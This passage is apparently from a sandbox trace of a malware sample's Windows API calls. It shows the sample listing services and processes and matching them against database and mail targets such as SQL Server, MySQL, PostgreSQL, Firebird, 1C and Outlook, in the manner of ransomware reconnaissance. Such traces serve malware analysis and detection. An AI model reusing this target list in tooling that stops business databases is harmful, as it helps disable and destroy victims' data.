(lpString="PlugPlay") returned 8 [0146.672] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0146.672] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0146.672] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0146.672] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0146.672] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0146.672] lstrlenW (lpString="Power") returned 5 [0146.672] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0146.672] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0146.672] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0146.672] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0146.672] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0146.672] lstrlenW (lpString="ProfSvc") returned 7 [0146.672] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0146.672] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0146.672] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0146.672] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0146.672] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0146.672] lstrlenW (lpString="RpcEptMapper") returned 12 [0146.672] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0146.672] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0146.672] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0146.672] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0146.672] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0146.672] lstrlenW (lpString="RpcSs") returned 5 [0146.672] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0146.672] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0146.672] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0146.672] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0146.672] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0146.673] lstrlenW (lpString="SamSs") returned 5 [0146.673] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0146.673] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0146.673] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0146.673] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0146.673] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0146.673] lstrlenW (lpString="Schedule") returned 8 [0146.673] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0146.673] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0146.673] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0146.673] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0146.673] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0146.673] lstrlenW (lpString="SENS") returned 4 [0146.673] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0146.673] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0146.673] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0146.673] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0146.673] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0146.673] lstrlenW (lpString="ShellHWDetection") returned 16 [0146.673] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0146.673] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0146.673] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0146.673] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0146.673] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0146.673] lstrlenW (lpString="Spooler") returned 7 [0146.673] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0146.673] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0146.673] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0146.673] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0146.673] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0146.673] lstrlenW (lpString="SysMain") returned 7 [0146.673] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0146.673] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0146.673] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0146.673] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0146.673] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0146.674] lstrlenW (lpString="Themes") returned 6 [0146.674] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0146.674] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0146.674] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0146.674] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0146.674] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0146.674] lstrlenW (lpString="TrkWks") returned 6 [0146.674] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0146.674] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0146.674] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0146.674] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0146.674] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0146.674] lstrlenW (lpString="UxSms") returned 5 [0146.674] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0146.674] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0146.674] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0146.674] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0146.674] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0146.674] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x4241058 | out: hHeap=0x880000) returned 1 [0146.674] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x3d8 [0146.676] Process32FirstW (in: hSnapshot=0x3d8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0146.676] Process32NextW (in: hSnapshot=0x3d8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4b, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0146.677] lstrlenW (lpString="System") returned 6 [0146.677] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0146.677] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0146.677] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0146.677] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0146.677] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0146.677] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0146.677] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0146.677] Process32NextW (in: hSnapshot=0x3d8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0146.677] lstrlenW (lpString="smss.exe") returned 8 [0146.677] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0146.677] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0146.677] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0146.677] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0146.677] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0146.677] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0146.677] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0146.677] Process32NextW (in: hSnapshot=0x3d8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0146.678] lstrlenW (lpString="csrss.exe") returned 9 [0146.678] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0146.678] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0146.678] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0146.678] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0146.678] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0146.678] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0146.678] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0146.678] Process32NextW (in: hSnapshot=0x3d8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0146.678] lstrlenW (lpString="wininit.exe") returned 11 [0146.678] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0146.678] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0146.678] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0146.678] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0146.678] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0146.678] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0146.678] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0146.678] Process32NextW (in: hSnapshot=0x3d8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0146.679] lstrlenW (lpString="csrss.exe") returned 9 [0146.679] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0146.679] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0146.679] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0146.679] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0146.679] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0146.679] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0146.679] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0146.679] Process32NextW (in: hSnapshot=0x3d8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0146.679] lstrlenW (lpString="winlogon.exe") returned 12 [0146.679] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1 [0146.679] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1 [0146.679] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1 [0146.679] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1 [0146.679] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="winlogon.exe") returned -1 [0146.679] lstrcmpiW (lpString1="mysqld.exe", lpString2="winlogon.exe") returned -1 [0146.679] lstrcmpiW (lpString1="sqlservr.exe", lpString2="winlogon.exe") returned -1 [0146.679] Process32NextW (in: hSnapshot=0x3d8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0146.680] lstrlenW (lpString="services.exe") returned 12 [0146.680] lstrcmpiW (lpString1="1c8.exe", lpString2="services.exe") returned -1 [0146.680] lstrcmpiW (lpString1="1cv77.exe", lpString2="services.exe") returned -1 [0146.680] lstrcmpiW (lpString1="outlook.exe", lpString2="services.exe") returned -1 [0146.680] lstrcmpiW (lpString1="postgres.exe", lpString2="services.exe") returned -1 [0146.680] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="services.exe") returned -1 [0146.680] lstrcmpiW (lpString1="mysqld.exe", lpString2="services.exe") returned -1 [0146.680] lstrcmpiW (lpString1="sqlservr.exe", lpString2="services.exe") returned 1 [0146.680] Process32NextW (in: hSnapshot=0x3d8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0146.680] lstrlenW (lpString="lsass.exe") returned 9 [0146.680] lstrcmpiW (lpString1="1c8.exe", lpString2="lsass.exe") returned -1 [0146.680] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsass.exe") returned -1 [0146.680] lstrcmpiW (lpString1="outlook.exe", lpString2="lsass.exe") returned 1 [0146.680] lstrcmpiW (lpString1="postgres.exe", lpString2="lsass.exe") returned 1 [0146.680] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsass.exe") returned 1 [0146.680] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsass.exe") returned 1 [0146.680] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsass.exe") returned 1 [0146.680] Process32NextW (in: hSnapshot=0x3d8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0146.681] lstrlenW (lpString="lsm.exe") returned 7 [0146.681] lstrcmpiW (lpString1="1c8.exe", lpString2="lsm.exe") returned -1 [0146.681] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsm.exe") returned -1 [0146.681] lstrcmpiW (lpString1="outlook.exe", lpString2="lsm.exe") returned 1 [0146.681] lstrcmpiW (lpString1="postgres.exe", lpString2="lsm.exe") returned 1 [0146.681] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsm.exe") returned 1 [0146.681] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsm.exe") returned 1 [0146.681] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsm.exe") returned 1 [0146.681] Process32NextW (in: hSnapshot=0x3d8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0146.681] lstrlenW (lpString="svchost.exe") returned 11 [0146.681] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0146.681] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0146.681] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0146.681] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0146.681] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0146.681] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0146.681] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0146.681] Process32NextW (in: hSnapshot=0x3d8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0146.682] lstrlenW (lpString="svchost.exe") returned 11 [0146.682] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0146.682] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0146.682] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0146.682] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0146.682] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0146.682] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0146.682] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0146.682] Process32NextW (in: hSnapshot=0x3d8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0146.682] lstrlenW (lpString="svchost.exe") returned 11 [0146.682] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0146.682] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0146.683] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0146.683] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0146.683] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0146.683] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0146.683] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0146.683] Process32NextW (in: hSnapshot=0x3d8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0146.683] lstrlenW (lpString="svchost.exe") returned 11 [0146.683] Process32NextW (in: hSnapshot=0x3d8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0146.683] lstrlenW (lpString="svchost.exe") returned 11 [0146.683] Process32NextW (in: hSnapshot=0x3d8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0146.684] lstrlenW (lpString="audiodg.exe") returned 11 [0146.684] Process32NextW (in: hSnapshot=0x3d8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0146.684] lstrlenW (lpString="svchost.exe") returned 11 [0146.684] Process32NextW (in: hSnapshot=0x3d8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0146.684] lstrlenW (lpString="userinit.exe") returned 12 [0146.684] Process32NextW (in: hSnapshot=0x3d8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x138, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0146.687] lstrlenW (lpString="explorer.exe") returned 12 [0146.687] Process32NextW (in: hSnapshot=0x3d8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x41c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0146.688] lstrlenW (lpString="dwm.exe") returned 7 [0146.688] Process32NextW (in: hSnapshot=0x3d8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x454, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0146.688] lstrlenW (lpString="svchost.exe") returned 11 [0146.688] Process32NextW (in: hSnapshot=0x3d8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x138, pcPriClassBase=8, dwFlags=0x0, szExeFile="dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe")) returned 1 [0146.688] lstrlenW (lpString="dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe") returned 58 [0146.688] Process32NextW (in: hSnapshot=0x3d8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x514, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0146.689] lstrlenW (lpString="spoolsv.exe") returned 11 [0146.689] Process32NextW (in: hSnapshot=0x3d8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0146.689] lstrlenW (lpString="reader_sl.exe") returned 13 [0146.689] Process32NextW (in: hSnapshot=0x3d8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0146.689] lstrlenW (lpString="svchost.exe") returned 11 [0146.689] Process32NextW (in: hSnapshot=0x3d8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0146.690] lstrlenW (lpString="taskhost.exe") returned 12 [0146.690] Process32NextW (in: hSnapshot=0x3d8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 0 [0146.690] CloseHandle (hObject=0x3d8) returned 1 [0146.690] Sleep (dwMilliseconds=0x1f4) [0147.252] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x4293cb8 [0147.261] EnumServicesStatusExW (in: hSCManager=0x4293cb8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0) returned 0 [0147.262] GetLastError () returned 0xea [0147.262] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xd68) returned 0x4241058 [0147.262] EnumServicesStatusExW (in: hSCManager=0x4293cb8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4241058, cbBufSize=0xd68, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4241058, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0) returned 1 [0147.262] CloseServiceHandle (hSCObject=0x4293cb8) returned 1 [0147.262] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0147.262] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0147.262] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0147.262] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0147.262] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0147.262] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0147.262] lstrlenW (lpString="AudioSrv") returned 8 [0147.262] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0147.262] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0147.262] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0147.262] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0147.262] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0147.262] lstrlenW (lpString="BFE") returned 3 [0147.262] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0147.262] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0147.263] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0147.263] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0147.263] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0147.263] lstrlenW (lpString="CryptSvc") returned 8 [0147.263] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0147.263] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0147.263] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0147.263] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0147.263] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0147.263] lstrlenW (lpString="CscService") returned 10 [0147.263] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0147.263] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", 